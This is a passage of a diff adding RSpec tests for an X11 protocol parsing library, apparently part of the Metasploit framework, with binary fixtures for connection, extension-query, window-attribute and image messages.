"\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xc8\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xc9\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xca\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xcb\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xcc\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xcd\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xce\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xcf\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xd0\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xd1\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xd2\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xd3\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xd4\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xd5\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xd6\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xd7\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xd8\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xd9\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xda\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xdb\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xdc\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xdd\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xde\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xdf\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xe0\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xe1\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xe2\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xe3\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xe4\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xe5\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xe6\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xe7\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xe8\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xe9\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xea\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xeb\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xec\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xed\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xee\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xef\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xf0\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xf1\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xf2\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xf3\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xf4\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xf5\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xf6\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xf7\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xf8\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xf9\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xfa\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xfb\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xfc\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xfd\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xfe\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xff\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x05\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x01\x05\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x02\x05\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x03\x05\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x04\x05\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x05\x05\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x06\x05\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x07\x05\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x08\x05\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x09\x05\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00" \ + "\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00" \ + "\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x20\x00\x1e\x00" \ + "\x00\x00\x00\x00\x5b\x00\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x0a\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x0b\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x0c\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x0d\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x0e\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x0f\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x10\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x11\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x12\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x13\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x14\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x15\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x16\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x17\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x18\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x19\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x1a\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x1b\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x1c\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x1d\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x1e\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x1f\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x20\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x21\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x22\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x23\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x24\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x25\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x26\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00" + end + + describe 'X11ConnectionRequest' do + context '#read' do + it do + request = Rex::Proto::X11::X11ConnectionRequest.read(conn_request) + expect(request.to_binary_s).to eq(conn_request) + end + end + context '#initialize' do + it do + request = Rex::Proto::X11::X11ConnectionRequest.new + expect(request.to_binary_s).to eq(conn_request) + end + end + end + + describe 'X11Connection' do + context '#read Error Response' do + it do + request = Rex::Proto::X11::X11Connection.read(conn_error) + expect(request.body.reason).to eq("Authorization required, but no authorization protocol specified\n") + expect(request.to_binary_s).to eq(conn_error) + end + end + + context '#read Success Response' do + it do + response = Rex::Proto::X11::X11Connection.read(conn_resp) + expect(response.header.success).to eq(1) + expect(response.body.resource_id_base).to eq(16777216) + expect(response.body.vendor).to eq('The X.Org Foundation') + expect(response.body.screen_width_in_pixels).to eq(1024) + expect(response.body.screen_height_in_pixels).to eq(768) + end + end + + context '#read Success Response 2' do + it do + response = Rex::Proto::X11::X11Connection.read(conn_resp2) + expect(response.header.success).to eq(1) + expect(response.body.resource_id_base).to eq(52428800) + expect(response.body.vendor).to eq('The X.Org Foundation') + expect(response.body.screen_width_in_pixels).to eq(958) + expect(response.body.screen_height_in_pixels).to eq(832) + end + end + end +end diff --git a/spec/lib/rex/proto/x11/extensions.rb b/spec/lib/rex/proto/x11/extensions.rb new file mode 100644 index 000000000000..34c472e44a17 --- /dev/null +++ b/spec/lib/rex/proto/x11/extensions.rb @@ -0,0 +1,99 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Rex::Proto::X11::Extension do + subject do + mod = ::Msf::Exploit.new + mod.extend described_class + + mod.send(:initialize) + mod + end + + let(:query_extension) do + "\x62\x00\x05\x00\f\x00\x00\x00BIG-REQUESTS" + end + + let(:query_extension2) do + "\x62\x00\x05\x00\t\x00\x00\x00XKEYBOARD\x00\x00\x00" + end + + let(:query_extension_resp) do + "\x01\x00\x01\x00\x00\x00\x00\x00\x01\x86\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + end + + let(:enable_134) do + "\x86\x00\x01\x00" + end + + let(:enable_resp) do + "\x01\x00\x02\x00\x00\x00\x00\x00\xff\xff\x3f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + end + + describe 'X11QueryExtensionRequest' do + context '#read long length' do + it do + request = Rex::Proto::X11::Extension::X11QueryExtensionRequest.read(query_extension) + expect(request.extension).to eq('BIG-REQUESTS') + end + end + context '#initialize long length' do + it do + request = Rex::Proto::X11::Extension::X11QueryExtensionRequest.new(extension: 'BIG-REQUESTS') + expect(request.to_binary_s).to eq(query_extension) + end + end + context '#read short length' do + it do + request = Rex::Proto::X11::Extension::X11QueryExtensionRequest.read(query_extension2) + expect(request.extension).to eq('XKEYBOARD') + end + end + context '#initialize short length' do + it do + request = Rex::Proto::X11::Extension::X11QueryExtensionRequest.new(extension: 'XKEYBOARD') + expect(request.to_binary_s).to eq(query_extension2) + end + end + end + + describe 'X11QueryExtensionResponse' do + context '#read' do + it do + response = Rex::Proto::X11::Extension::X11QueryExtensionResponse.read(query_extension_resp) + expect(response.major_opcode).to eq(134) + expect(response.present).to eq(1) + end + end + end + + describe 'X11ExtensionToggleRequest' do + context '#read' do + it do + request = Rex::Proto::X11::Extension::X11ExtensionToggleRequest.read(enable_134) + expect(request.opcode).to eq(134) + expect(request.wanted_major).to eq(0) + expect(request.wanted_major).to eq(0) + expect(request.request_length).to eq(1) + end + end + context '#initialize' do + it do + request = Rex::Proto::X11::Extension::X11ExtensionToggleRequest.new(opcode: 134) + expect(request.to_binary_s).to eq(enable_134) + end + end + end + + describe 'X11ExtensionToggleReply' do + context '#read' do + it do + request = Rex::Proto::X11::Extension::X11ExtensionToggleReply.read(enable_resp) + expect(request.reply_sequence_number).to eq(2) + expect(request.maximum_request_length).to eq(4194303) + end + end + end +end diff --git a/spec/lib/rex/proto/x11/window.rb b/spec/lib/rex/proto/x11/window.rb new file mode 100644 index 000000000000..adab105115d2 --- /dev/null +++ b/spec/lib/rex/proto/x11/window.rb @@ -0,0 +1,2941 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Rex::Proto::X11::Window do + subject do + mod = ::Msf::Exploit.new + mod.extend described_class + + mod.send(:initialize) + mod + end + + let(:get_window_attributes) do + "\x03\x03\x02\x00\x28\x05\x00\x00" + end + + let(:get_geometry) do + "\x0e\x04\x02\x00\x28\x05\x00\x00" + end + + let(:translate_request) do + "\x28\x03\x04\x00\x28\x05\x00\x00\x28\x05\x00\x00\x00\x00\x00\x00" + end + + let(:querytree_request) do + "\x0f\x01\x02\x00\x28\x05\x00\x00" + end + + let(:querytree_response) do + "\x01\x00\x10\x00\x48\x00\x00\x00\x28\x05\x00\x00\x00\x00\x00\x00" \ + "\x48\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x10\x00\x40\x00\x08\x00\x20\x00\x01\x00\x40\x00\x06\x00\x40\x00" \ + "\x07\x00\x40\x00\x08\x00\x40\x00\x0e\x00\x40\x00\x0f\x00\x40\x00" \ + "\x11\x00\x40\x00\x01\x00\xc0\x00\x01\x00\xa0\x00\x01\x00\x80\x00" \ + "\x01\x00\x60\x01\x01\x00\xe0\x00\x01\x00\x40\x01\x01\x00\x20\x01" \ + "\x03\x00\x20\x01\x01\x00\x80\x01\x02\x00\x40\x01\x01\x00\xa0\x01" \ + "\x1a\x00\x40\x00\x02\x00\xc0\x01\x01\x00\xe0\x01\x01\x00\x60\x02" \ + "\x02\x00\x60\x02\x06\x00\x60\x02\x01\x00\x20\x02\x01\x00\xa0\x02" \ + "\x01\x00\xe0\x02\x05\x05\x40\x00\x0c\x00\x20\x02\x35\x0b\x40\x00" \ + "\xd6\x0c\x40\x00\xf6\x1a\x40\x00\x03\x1c\x40\x00\x70\x1f\x40\x00" \ + "\xda\x29\x40\x00\xc4\x2a\x40\x00\xcc\x39\x40\x00\xb3\x3a\x40\x00" \ + "\x35\x3c\x40\x00\x7c\x3f\x40\x00\x03\x40\x40\x00\x89\x40\x40\x00" \ + "\xb6\x42\x40\x00\xc3\x43\x40\x00\x1a\x48\x40\x00\x64\x4a\x40\x00" \ + "\x05\x4d\x40\x00\xc9\x4d\x40\x00\xcb\x4d\x40\x00\xcd\x4d\x40\x00" \ + "\xa5\x58\x40\x00\xe7\x5a\x40\x00\x96\x63\x40\x00\x04\x00\x00\x01" \ + "\x01\x00\x40\x02\x08\x00\x00\x01\x14\x00\x00\x01\x28\x00\x00\x01" \ + "\xa0\x00\x00\x01\xae\x6a\x40\x00\xc9\x6c\x40\x00\xf5\x02\x00\x01" \ + "\x99\x03\x00\x01\x5c\x6d\x40\x00\x01\x00\x80\x02\x03\x00\x80\x02" \ + "\x0a\x00\x60\x02\x13\x69\x40\x00\x08\x00\x80\x02\x0a\x00\x40\x00" + end + + let(:windowattributes_response) do + "\x01\x00\x11\x00\x03\x00\x00\x00\x21\x00\x00\x00\x02\x00\x00\x01" \ + "\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x02\x01\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + end + + let(:getgeometry_response) do + "\x01\x00\x12\x00\x00\x00\x00\x00\x28\x05\x00\x00\x00\x00\x00\x00" \ + "\xbe\x03\x40\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + end + + let(:getimage_request) do + "\x49\x02\x05\x00\x03\x00\x80\x02\x00\x00\x00\x00\xba\x03\x15\x00" \ + "\xff\xff\xff\xff" + end + + let(:getimage_response) do + "\x01\x20\xab\x00\x10\x27\x00\x00\x0b\x05\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + 